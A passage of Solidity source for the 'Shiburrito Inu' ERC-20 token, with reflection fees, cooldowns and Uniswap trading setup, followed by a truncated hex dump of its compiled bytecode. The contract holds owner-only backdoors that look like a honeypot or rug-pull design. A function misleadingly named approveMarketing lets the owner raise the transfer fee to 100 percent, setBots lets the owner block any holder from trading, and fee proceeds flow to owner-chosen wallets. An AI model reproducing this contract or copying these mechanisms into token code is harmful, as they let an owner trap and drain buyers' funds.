function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBURRITO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Shiburrito Inu";
string private constant _symbol = 'SHI🌯';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function approveMarketing(uint256 amt) external onlyOwner() {
require(amt <= 100, "Amount must be less than 100");
_teamFee = amt;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 200000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101175760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a146105ac578063c3c8cd8014610671578063c9567bf914610688578063d543dbeb1461069f578063dd62ed3e146106da5761011e565b806370a08231146103ee578063715018a6146104535780638da5cb5b1461046a57806395d89b41146104ab578063a9059cbb1461053b5761011e565b806323b872dd116100e757806323b872dd1461028a578063273123b71461031b578063313ce5671461036c5780635932ead11461039a5780636fc3eaec146103d75761011e565b80627f55711461012357806306fdde031461015e578063095ea7b3146101ee57806318160ddd1461025f5761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061015c6004803603602081101561014657600080fd5b810190808035906020019092919050505061075f565b005b34801561016a57600080fd5b506101736108a8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b3578082015181840152602081019050610198565b50505050905090810190601f1680156101e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101fa57600080fd5b506102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108e5565b60405180821515815260200191505060405180910390f35b34801561026b57600080fd5b50610274610903565b6040518082815260200191505060405180910390f35b34801561029657600080fd5b50610303600480360360608110156102ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610914565b60405180821515815260200191505060405180910390f35b34801561032757600080fd5b5061036a6004803603602081101561033e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ed565b005b34801561037857600080fd5b50610381610b10565b604051808260ff16815260200191505060405180910390f35b3480156103a657600080fd5b506103d5600480360360208110156103bd57600080fd5b81019080803515159060200190929190505050610b19565b005b3480156103e357600080fd5b506103ec610bfe565b005b3480156103fa57600080fd5b5061043d6004803603602081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c70565b6040518082815260200191505060405180910390f35b34801561045f57600080fd5b50610468610d5b565b005b34801561047657600080fd5b5061047f610ee1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b757600080fd5b506104c0610f0a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105005780820151818401526020810190506104e5565b50505050905090810190601f16801561052d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054757600080fd5b506105946004803603604081101561055e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f47565b60405180821515815260200191505060405180910390f35b3480156105b857600080fd5b5061066f600480360360208110156105cf57600080fd5b81019080803590602001906401000000008111156105ec57600080fd5b8201836020820111156105fe57600080fd5b8035906020019184602083028401116401000000008311171561062057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f65565b005b34801561067d57600080fd5b506106866110b5565b005b34801561069457600080fd5b5061069d61112f565b005b3480156106ab57600080fd5b506106d8600480360360208110156106c257600080fd5b81019080803590602001909291905050506117ad565b005b3480156106e657600080fd5b50610749600480360360408110156106fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061195c565b6040518082815260200191505060405180910390f35b6107676119e3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610827576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b606481111561089e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f416d6f756e74206d757374206265206c657373207468616e203130300000000081525060200191505060405180910390fd5b80600d8190555050565b60606040518060400160405280600e81526020017f5368696275727269746f20496e75000000000000000000000000000000000000815250905090565b60006108f96108f26119e3565b84846119eb565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610921848484611be2565b6109e28461092d6119e3565b6109dd85604051806060016040528060288152602001613e9b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109936119e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240d9092919063ffffffff16565b6119eb565b600190509392505050565b6109f56119e3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610b216119e3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3f6119e3565b73ffffffffffffffffffffffffffffffffffffffff1614610c5f57600080fd5b6000479050610c6d816124cd565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d0b57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610d56565b610d53600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c8565b90505b919050565b610d636119e3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f534849f09f8caf00000000000000000000000000000000000000000000000000815250905090565b6000610f5b610f546119e3565b8484611be2565b6001905092915050565b610f6d6119e3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110b15760016007600084848151811061104b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611030565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110f66119e3565b73ffffffffffffffffffffffffffffffffffffffff161461111657600080fd5b600061112130610c70565b905061112c8161264c565b50565b6111376119e3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561127a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061130a30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006119eb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561135057600080fd5b505afa158015611364573d6000803e3d6000fd5b505050506040513d602081101561137a57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ed57600080fd5b505afa158015611401573d6000803e3d6000fd5b505050506040513d602081101561141757600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561149157600080fd5b505af11580156114a5573d6000803e3d6000fd5b505050506040513d60208110156114bb57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061155530610c70565b600080611560610ee1565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115e557600080fd5b505af11580156115f9573d6000803e3d6000fd5b50505050506040513d606081101561161057600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550680ad78ebc5ac62000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561176e57600080fd5b505af1158015611782573d6000803e3d6000fd5b505050506040513d602081101561179857600080fd5b81019080805190602001909291905050505050565b6117b56119e3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611875576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600081116118eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61191a606461190c83683635c9adc5dea0000061293690919063ffffffff16565b6129bc90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f116024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613eec6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611cee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e0b6023913960400191505060405180910390fd5b60008111611d47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613ec36029913960400191505060405180910390fd5b611d4f610ee1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dbd5750611d8d610ee1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561234a57601360179054906101000a900460ff1615612023573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e3f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e995750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ef35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561202257601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f396119e3565b73ffffffffffffffffffffffffffffffffffffffff161480611faf5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f976119e3565b73ffffffffffffffffffffffffffffffffffffffff16145b612021576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b60145481111561203257600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156120d65750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6120df57600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561218a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121e05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121f85750601360179054906101000a900460ff165b156122905742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061224857600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061229b30610c70565b9050601360159054906101000a900460ff161580156123085750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156123205750601360169054906101000a900460ff165b156123485761232e8161264c565b6000479050600081111561234657612345476124cd565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123f15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123fb57600090505b61240784848484612a06565b50505050565b60008383111582906124ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561247f578082015181840152602081019050612464565b50505050905090810190601f1680156124ac5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61251d6002846129bc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612548573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125996002846129bc90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125c4573d6000803e3d6000fd5b5050565b6000600a54821115612625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e2e602a913960400191505060405180910390fd5b600061262f612c5d565b905061264481846129bc90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561268157600080fd5b506040519080825280602002602001820160405280156126b05781602001602082028036833780820191505090505b50905030816000815181106126c157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561276357600080fd5b505afa158015612777573d6000803e3d6000fd5b505050506040513d602081101561278d57600080fd5b8101908080519060200190929190505050816001815181106127ab57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061281230601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119eb565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156128d65780820151818401526020810190506128bb565b505050509050019650505050505050600060405180830381600087803b1580156128ff57600080fd5b505af1158015612913573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561294957600090506129b6565b